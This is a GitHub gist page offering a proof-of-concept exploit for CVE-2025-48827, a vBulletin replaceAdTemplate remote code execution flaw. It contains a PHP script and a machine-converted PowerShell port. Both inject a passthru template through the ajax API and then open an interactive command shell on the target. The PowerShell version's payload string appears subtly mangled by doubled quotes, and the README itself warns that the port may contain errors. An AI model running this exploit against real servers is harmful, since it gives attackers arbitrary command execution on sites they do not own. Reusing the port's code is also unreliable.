Skip to content

Instantly share code, notes, and snippets.

@ALiwoto
Last active May 30, 2025 06:24
Show Gist options
  • Save ALiwoto/a3b5d3878f647ecb2a0fb04f58a319c2 to your computer and use it in GitHub Desktop.
Save ALiwoto/a3b5d3878f647ecb2a0fb04f58a319c2 to your computer and use it in GitHub Desktop.

Revisions

  1. ALiwoto renamed this gist May 30, 2025. 1 changed file with 0 additions and 0 deletions.
    File renamed without changes.
  2. ALiwoto revised this gist May 30, 2025. No changes.
  3. ALiwoto revised this gist May 30, 2025. 2 changed files with 10 additions and 1 deletion.
    9 changes: 9 additions & 0 deletions README.md
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,9 @@
    # CVE-2025-48827

    **vBulletin (replaceAdTemplate) Remote Code Execution Vulnerability.**

    **EDUCATIONAL PURPOSE ONLY.**

    Taken from [here](https://karmainsecurity.com/pocs/vBulletin-replaceAdTemplate-RCE.php)

    The original code was written in PHP, had to use Gemini 2.2 to convert it to PowerShell. Please check for any errors.
    2 changes: 1 addition & 1 deletion vBulletin-replaceAdTemplate-RCE.ps1
    Original file line number Diff line number Diff line change
    @@ -119,7 +119,7 @@ while ($true) {
    try {
    # The PHP script adds a newline before the prompt. Read-Host will display the prompt directly.
    # We can add Write-Host "" for the newline if precise visual match is needed, or include \n in prompt.
    $commandToRun = Read-Host "`nvBulletin-TestTemplateStart >" # `n for newline before prompt
    $commandToRun = Read-Host "`nvBulletin-shell >" # `n for newline before prompt

    if ($commandToRun.Trim().ToLower() -eq "exit") {
    Write-Host "[*] Exit command received."
  4. ALiwoto revised this gist May 30, 2025. No changes.
  5. ALiwoto revised this gist May 30, 2025. 1 changed file with 65 additions and 0 deletions.
    65 changes: 65 additions & 0 deletions vBulletin-replaceAdTemplate-RCE.php
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,65 @@
    <?php

    /*
    -----------------------------------------------------------------
    vBulletin (replaceAdTemplate) Remote Code Execution Vulnerability
    -----------------------------------------------------------------
    author..............: Egidio Romano aka EgiX
    mail................: n0b0d13s[at]gmail[dot]com
    software link.......: https://invisioncommunity.com
    +-------------------------------------------------------------------------+
    | This proof of concept code was written for educational purpose only. |
    | Use it at your own risk. Author will be not responsible for any damage. |
    +-------------------------------------------------------------------------+
    [-] Technical Writeup:
    https://karmainsecurity.com/dont-call-that-protected-method-vbulletin-rce
    */

    set_time_limit(0);
    error_reporting(E_ERROR);

    print "\n+---------------------------------------------------------------------+";
    print "\n| vBulletin (replaceAdTemplate) Remote Code Execution Exploit by EgiX |";
    print "\n+---------------------------------------------------------------------+\n";

    if (!extension_loaded("curl")) die("\n[-] cURL extension required!\n\n");

    if ($argc != 2)
    {
    print "\nUsage......: php $argv[0] <URL>\n";
    print "\nExample....: php $argv[0] http://localhost/vb/";
    print "\nExample....: php $argv[0] https://vbulletin.com/\n\n";
    die();
    }

    $params = [
    "routestring" => "ajax/api/ad/replaceAdTemplate",
    "styleid" => "1",
    "location" => "rce",
    "template" => "<vb:if condition='\"passthru\"(\$_POST[\"cmd\"])'></vb:if>"
    ];

    $ch = curl_init();

    curl_setopt($ch, CURLOPT_URL, $argv[1]);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));

    if (curl_exec($ch) !== "null") die("\n[-] Exploit failed, unable to create template!\n\n");

    $params = ["routestring" => "ajax/render/ad_rce"];

    while (1)
    {
    print "\nvBulletin-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    $params["cmd"] = $cmd;
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));
    preg_match('/(.+)\{"template":/s', curl_exec($ch), $m) ? print $m[1] : die("\n[-] Exploit failed!\n\n");
    }
  6. ALiwoto revised this gist May 30, 2025. No changes.
  7. ALiwoto revised this gist May 30, 2025. No changes.
  8. ALiwoto revised this gist May 30, 2025. No changes.
  9. ALiwoto created this gist May 30, 2025.
    179 changes: 179 additions & 0 deletions vBulletin-replaceAdTemplate-RCE.ps1
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,179 @@
    #!/usr/bin/env pwsh
    #Requires -PSVersion 6.0 # For -SkipCertificateCheck with Invoke-WebRequest and modern features.

    <#
    .SYNOPSIS
    PowerShell script to test vBulletin replaceAdTemplate vulnerability.
    .DESCRIPTION
    This script attempts to create a template and then execute commands
    via a vBulletin vulnerability related to ad template replacement.
    It is a conversion of a PHP script originally by EgiX.
    .PARAMETER Url
    The base URL of the vBulletin installation.
    Example: http://localhost/vb/
    Example: https://vbulletin.com/
    .EXAMPLE
    .\vBulletin-replaceAdTemplate-RCE.ps1 -Url http://your-vbulletin-site.com/
    #>
    param(
    [Parameter(Mandatory = $true, HelpMessage = "Enter the target vBulletin URL (e.g., http://localhost/vb/)")]
    [string]$Url
    )

    # Equivalent to PHP's error_reporting(E_ERROR) for script-halting behavior on errors.
    # This makes PowerShell stop on terminating errors and most non-terminating errors if not caught.
    $ErrorActionPreference = "Stop"

    # Display banner
    Write-Host "" # Mimics the leading newline from the PHP print statement
    Write-Host "+---------------------------------------------------------------------+"
    Write-Host "| vBulletin (replaceAdTemplate) TemplateReplaceTesting by EgiX |"
    Write-Host "+---------------------------------------------------------------------+"
    Write-Host "" # Mimics the trailing newline from the PHP print statement

    # --- Prepare common parameters for Invoke-WebRequest ---
    $baseIwrSplat = @{
    UseBasicParsing = $true # Recommended for consistency and to avoid IE engine on Windows PS if ever used there.
    }

    if ($Url.StartsWith("https://")) {
    if ($PSVersionTable.PSVersion.Major -ge 6) {
    # For PowerShell 6.0+ (pwsh), -SkipCertificateCheck is available for Invoke-WebRequest
    $baseIwrSplat.Add("SkipCertificateCheck", $true)
    Write-Verbose "HTTPS detected: -SkipCertificateCheck will be used (PS Version >= 6.0)."
    } else {
    # For older PowerShell versions (e.g., Windows PowerShell 5.1) on HTTPS
    Write-Warning "HTTPS detected with older PowerShell version ($($PSVersionTable.PSVersion))."
    Write-Warning "Attempting to set session-wide ServerCertificateValidationCallback to bypass SSL errors."
    Write-Warning "This may not work in all environments or have security implications."
    try {
    [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
    Write-Verbose "ServerCertificateValidationCallback set to allow all certificates for this session."
    } catch {
    Write-Error "Failed to set ServerCertificateValidationCallback: $($_.Exception.Message)"
    Write-Warning "HTTPS requests may fail if the certificate is not trusted and override failed."
    }
    }
    }


    # --- Initial Template Creation ---
    # The literal string for the template is: <vb:if condition='"passthru"($_POST["cmd"])'></vb:if>
    # In PowerShell single-quoted strings, single quotes are escaped by doubling them ('').
    $templatePayload = '<vb:if condition=''""passthru""($_POST[""cmd""])''></vb:if>'

    $initialParams = @{
    routestring = "ajax/api/ad/replaceAdTemplate"
    styleid = "1"
    location = "rce"
    template = $templatePayload
    }

    Write-Host "[*] Attempting to create template on $Url..."

    try {
    $createTemplateSplat = @{
    Uri = $Url
    Method = 'Post'
    Body = $initialParams
    } + $baseIwrSplat # Combine with base parameters (like SkipCertificateCheck)

    $response = Invoke-WebRequest @createTemplateSplat

    if ($response.Content -ne "null") {
    Write-Error "[-] Testing failed, unable to create template! Server responded: $($response.Content | Out-String)"
    exit 1
    }
    Write-Host "[+] Template apparently created successfully."

    } catch {
    Write-Error "[-] Error during initial template creation request:"
    Write-Error "[-] $($_.Exception.Message)"
    if ($_.Exception.Response) {
    $statusCode = $_.Exception.Response.StatusCode
    $statusDescription = $_.Exception.Response.StatusDescription
    Write-Error "[-] Server Response Code: $statusCode ($statusDescription)"
    try {
    $errorStream = $_.Exception.Response.GetResponseStream()
    $streamReader = New-Object System.IO.StreamReader($errorStream)
    $errorBody = $streamReader.ReadToEnd()
    $streamReader.Close()
    $errorStream.Close()
    Write-Error "[-] Server Error Response Body: $errorBody"
    } catch {
    Write-Warning "[-] Could not read error response body."
    }
    }
    exit 1
    }

    # --- Command Execution Loop ---
    $loopParamsBase = @{
    routestring = "ajax/render/ad_rce"
    # 'cmd' will be added in the loop
    }

    Write-Host "[*] Starting command execution loop (type 'exit' to quit)."

    while ($true) {
    try {
    # The PHP script adds a newline before the prompt. Read-Host will display the prompt directly.
    # We can add Write-Host "" for the newline if precise visual match is needed, or include \n in prompt.
    $commandToRun = Read-Host "`nvBulletin-TestTemplateStart >" # `n for newline before prompt

    if ($commandToRun.Trim().ToLower() -eq "exit") {
    Write-Host "[*] Exit command received."
    break
    }

    $currentLoopParams = $loopParamsBase.Clone() # Clone to avoid modifying base for next iteration
    $currentLoopParams.cmd = $commandToRun

    $executeCmdSplat = @{
    Uri = $Url
    Method = 'Post'
    Body = $currentLoopParams
    } + $baseIwrSplat # Combine with base parameters

    $cmdResponse = Invoke-WebRequest @executeCmdSplat

    # Regex from PHP: /(.+)\{"template":/s
    # PowerShell equivalent: '(?s)(.+)\{"template":'
    # (?s) is the DOTALL modifier, making . match newlines.
    # \{ ensures { is literal.
    $regexPattern = '(?s)(.+)\{"template":'

    if ($cmdResponse.Content -match $regexPattern) {
    # Output the captured group (command output), trimming whitespace
    Write-Host $Matches[1].Trim()
    } else {
    Write-Error "[-] Command execution failed or expected pattern not found in response."
    Write-Verbose "[-] Full response content for debugging: $($cmdResponse.Content | Out-String)"
    # Original PHP script dies here.
    exit 1
    }

    } catch {
    Write-Error "[-] Error during command execution request:"
    Write-Error "[-] $($_.Exception.Message)"
    if ($_.Exception.Response) {
    $statusCode = $_.Exception.Response.StatusCode
    $statusDescription = $_.Exception.Response.StatusDescription
    Write-Error "[-] Server Response Code: $statusCode ($statusDescription)"
    try {
    $errorStream = $_.Exception.Response.GetResponseStream()
    $streamReader = New-Object System.IO.StreamReader($errorStream)
    $errorBody = $streamReader.ReadToEnd()
    $streamReader.Close()
    $errorStream.Close()
    Write-Error "[-] Server Error Response Body: $errorBody"
    } catch {
    Write-Warning "[-] Could not read error response body."
    }
    }
    # Original PHP script dies on failure within the loop.
    exit 1
    }
    }

    Write-Host "[*] Script finished."